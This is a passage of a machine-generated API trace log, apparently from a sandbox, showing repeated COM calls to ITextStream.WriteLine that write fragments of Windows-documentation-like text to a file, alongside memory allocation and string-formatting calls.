(in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.630] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.630] wcsncpy_s (in: _Destination=0x249ca4d4176, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.630] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.630] free (_Block=0x249c884ee60) [0148.630] free (_Block=0x249c884ee40) [0148.630] free (_Block=0x249ca4d5de0) [0148.630] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b618*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.631] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.631] SysReleaseString () returned 0x1 [0148.631] CoTaskMemFree (pv=0x249c8761820) [0148.631] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.631] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.631] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.631] SysAddRefString () returned 0x0 [0148.631] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.631] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.631] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.631] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768088, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.631] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8756448, pBstrHelpFile=0x249c8758f60*="骰졵ɉ") returned 0x0 [0148.631] malloc (_Size=0x8) returned 0x249c884ece0 [0148.631] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.631] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.631] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.631] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.631] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.631] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.631] wcsncpy_s (in: _Destination=0x249ca4d4262, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.632] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.632] free (_Block=0x249c884ee60) [0148.632] free (_Block=0x249c884ece0) [0148.632] free (_Block=0x249ca4d5de0) [0148.632] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b670*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.632] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.632] SysReleaseString () returned 0x1 [0148.632] CoTaskMemFree (pv=0x249c8761b80) [0148.632] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.632] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.632] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.632] SysAddRefString () returned 0x0 [0148.632] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.632] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.632] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.633] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8756448, pBstrHelpFile=0x249c8758f60*="꒰졵ɉ") returned 0x0 [0148.633] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767908, pBstrHelpFile=0x249c8758f60*="꒰졵ɉ") returned 0x0 [0148.633] malloc (_Size=0x8) returned 0x249c884ecd0 [0148.633] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.633] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.633] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.633] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.633] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x79, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _MaxCount=0x5b | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 0x0 [0148.633] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"", _SizeInWords=0x79, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.633] wcsncpy_s (in: _Destination=0x249ca4d434e, _SizeInWords=0x76, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n", _MaxCount=0x75 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \");\r\n") returned 0x0 [0148.633] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.633] free (_Block=0x249c884ee60) [0148.633] free (_Block=0x249c884ecd0) [0148.633] free (_Block=0x249ca4d5de0) [0148.633] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b6c8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.641] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.641] SysReleaseString () returned 0x1 [0148.641] CoTaskMemFree (pv=0x249c8761b80) [0148.641] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.641] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.641] CoTaskMemAlloc (cb=0x28) returned 0x249c8761820 [0148.641] SysAddRefString () returned 0x0 [0148.641] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.641] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.641] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.642] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767908, pBstrHelpFile=0x249c8758f60*="靰졵ɉ") returned 0x0 [0148.642] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768208, pBstrHelpFile=0x249c8758f60*="靰졵ɉ") returned 0x0 [0148.642] malloc (_Size=0x8) returned 0x249c884ed60 [0148.642] malloc (_Size=0x14) returned 0x249ca447990 [0148.642] _snwprintf_s (in: _DstBuf=0x249ca447990, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.642] malloc (_Size=0x4e) returned 0x249c884a540 [0148.642] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.642] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.642] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.642] wcsncpy_s (in: _Destination=0x249ca4d443a, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.642] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.642] free (_Block=0x249ca447990) [0148.642] free (_Block=0x249c884ed60) [0148.642] free (_Block=0x249c884a540) [0148.642] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b720*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.642] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.642] SysReleaseString () returned 0x1 [0148.642] CoTaskMemFree (pv=0x249c8761820) [0148.642] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.643] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.643] CoTaskMemAlloc (cb=0x28) returned 0x249c87618b0 [0148.643] SysAddRefString () returned 0x0 [0148.643] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.643] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.643] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.643] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768208, pBstrHelpFile=0x249c8758f60*="꒰졵ɉ") returned 0x0 [0148.643] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768388, pBstrHelpFile=0x249c8758f60*="꒰졵ɉ") returned 0x0 [0148.643] malloc (_Size=0x8) returned 0x249c884eca0 [0148.643] malloc (_Size=0x72) returned 0x249c884a540 [0148.643] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x39, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" XP and is listed separately on this page. Synta \"") returned 56 [0148.643] malloc (_Size=0xac) returned 0x249c884ee60 [0148.643] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x56, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.643] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x56, _Source="\" XP and is listed separately on this page. Synta \"", _MaxCount=0x38 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"") returned 0x0 [0148.643] wcscat_s (in: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \"", _SizeInWords=0x56, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.643] wcsncpy_s (in: _Destination=0x249ca4d4482, _SizeInWords=0x53, _Source="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n", _MaxCount=0x52 | out: _Destination="ITextStream.WriteLine(\" XP and is listed separately on this page. Synta \");\r\n") returned 0x0 [0148.643] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.643] free (_Block=0x249c884a540) [0148.643] free (_Block=0x249c884eca0) [0148.644] free (_Block=0x249c884ee60) [0148.644] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b778*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" XP and is listed separately on this page. Synta ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.644] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.644] SysReleaseString () returned 0x1 [0148.644] CoTaskMemFree (pv=0x249c87618b0) [0148.644] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.644] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.644] CoTaskMemAlloc (cb=0x28) returned 0x249c87614f0 [0148.644] SysAddRefString () returned 0x0 [0148.644] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.644] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.644] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.644] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: 